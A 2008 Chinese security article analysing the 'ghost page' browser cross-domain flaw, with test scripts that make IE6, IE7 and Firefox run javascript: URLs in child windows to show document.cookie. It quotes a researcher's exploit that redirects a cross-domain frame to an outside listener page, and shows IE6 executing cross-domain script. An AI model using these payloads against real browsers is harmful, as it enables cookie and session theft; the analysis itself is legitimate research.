揭密鬼页 浅析浏览器跨域安全问题(2)
来源:IT 专家网 发布时间:2008-10-07 18:11:00
3.域与域之间的牵绊
如果父页让子页访问某个域后,再执行伪协议会有什么效果?
用各个浏览器浏览 http://127.0.0.1/test3.htm,下面是test3.htm的脚本内容:
<script>
x=window.open('about:blank');
x.location="http://www.163.com"
setTimeout(function(){
x.location="javascript:alert(document.cookie)";
},5000)
</script>
结果:
IE6:没有反应。
IE7:报错,拒绝访问。
Firefox:报错,alert没有定义。
这些信息明显的说明,如果子页和父页不在同一个域里,浏览器是不允许父页控制子页执行伪协议脚本的。
为了进一步验证,我们让子页打开同一个域里的页面测试:
用各个浏览器浏览 http://127.0.0.1/test4.htm,下面是test4.htm的脚本内容:
<script>
document.cookie='xss:true' //给本域设置一个COOKIE为xss:true
x=window.open('about:blank');
x.location="http://127.0.0.1"
setTimeout(function(){
x.location="javascript:alert(document.cookie)";
},5000)
</script>
结果IE6、IE7、Firefox都顺利的弹出了COOKIE值,说明如果子页和父页在同一个域里,浏览器是允许父页控制子页执行伪协议脚本的。
4.安全上的差异
父页和子页这种微妙的关系,到这里就开始引发安全问题了,安全研究人员在分析鬼页的时,给出了EXP:
javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);
EXP按上面三部分的概念解释是:
父页是A域,父页指定子页访问B域内一个带框架的页面,父页就能够控制B域页面内框架的URL地址,这个就是典型的跨域操作了。
鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制,第二个是让location指定的地址看起来像个对象而不是参数。
我们按照鬼页的思路,继续在第3部分的基础上测试下去,将location指定的地址使用new String()对象处理。
用各个浏览器浏览 http://127.0.0.1/test5.htm,下面是test5.htm的脚本内容:
<script>
x=window.open('about:blank');
x.location="http://www.163.com";
setTimeout(function(){
x.location=new String("javascript:alert(document.cookie)")
},5000)
</script>
IE6:弹出COOKIE。
IE7:报错,拒绝访问。
Firefox:报错,alert没有定义。
结果是IE6奇迹般的弹出了COOKIE,我们做到了跨域执行脚本。


猜你喜欢
- 网站优化一个最重要的因素就是网站的标题标签(Title Tag),如何取一个好的网站标题?元创认为,用一个精简的对用户有吸引力的标题再恰当不
- 现在网络上的图片处理软件可谓层出不穷,各有其优势,不过小编比较推崇的是“美图秀秀”这款软件,因为它操作简便而且功能颇多,适合各年龄层用户使用
- IIS服务器出错的原因是复杂的。如服务启动失败、IIS进程中断或者站点不能启动这些错误都会在系统日志中记录一个错误事件。不论IIS出现何种错
- 很多时候我们会发现自己的系统问题越来越多,如果将就使用,那系统运行效率肯定不会很高,甚至还无法正常运行,如果选择重新安装系统,那不但麻烦不说
- 如果你打算做站长,哪么你面临的第一件事就是注册域名。千辛万苦终于选定了自己心仪的域名,但是到哪里注册呢?这个问题其实一点也不比选择域名来的简
- 微软全球技术支持中心亚太区总经理柯文达在今天IT市场两会上接受网易科技专访时表示“Windows激活技术”对正版用户来说是一种保护,“对那些
- 什么是用户体验?“用户体验”这个术语指的是一个概念:把最终用户作为设计和开发活动的焦点,而不是系统、
- 其实万物想通,并不因为我们是做IT的,玩的是互联网,我们就不需要从基础层面考虑营销问题。互联网发展到今天,一切逐渐回归到理性,大家都开始揭开
- 中国领先的社区平台与服务提供商康盛创想(Comsenz)旗下核心产品Discuz!新版正式发布。全新推出的Discuz! 7.2版本从用户注
- 随着google product search产品(http://www.google.com/prdhp?tab=wf)的低调上线,马总关
- 今天看到几条这样的新闻:百度公司: 07年中国之最在线广告平台百度超新浪;百度在07年超越新浪成为中国最大在线广告平台;我认为这样的新闻传播
- 确保关键任务应用程序始终可用是 IT 部门提供的一项关键服务,而且“高可用性”是 Windows S
- Godaddy主机管理域名看起来是项很庞大的工作,要做很多的工作,其实也没那么难,下面这个手册将帮助你简化域名管理,并一步步帮助Godadd
- 最近中文网站的google单价明显下降,特别是很多垃圾网站的,这导致很多个人站长又开始转移方向,想尝试通过英文网站来获取收入。其实不管做什么
- 导读:美国IT网站eWeek今日撰文列举了谷歌发展历程中10件很少为外人所知的事情。以下为文章全文:1、布林曾效力于竞争对手上世纪90年代,
- 有同学说搞wm是浪费时间,那我来发点有用的东西。一切关于linux和windows,cli和X的辩论请绕行。本系统由以下软件组成:getma
- 首先登录你的Godaddy 帐户,然后点击Godaddy 首页上方的Hosting 菜单,如下图所示: 然后选择下拉菜单里的Web site
- 网站,特别是新创网站,如何生产丰富多彩的内容估计是经营者最头疼的问题了。因为工作原因这两天看了blogcatalog这个网站,感觉这个网站的
- 度过了经济危机最严重的时间,最近视频行业重新热闹起来。不过,我感到很纳闷——易观国际的数据说,200
- 情况一:最后一次提交且未push执行以下命令:git commit --amendgit会打开$EDITOR编辑器,它会加载这次提交的日志,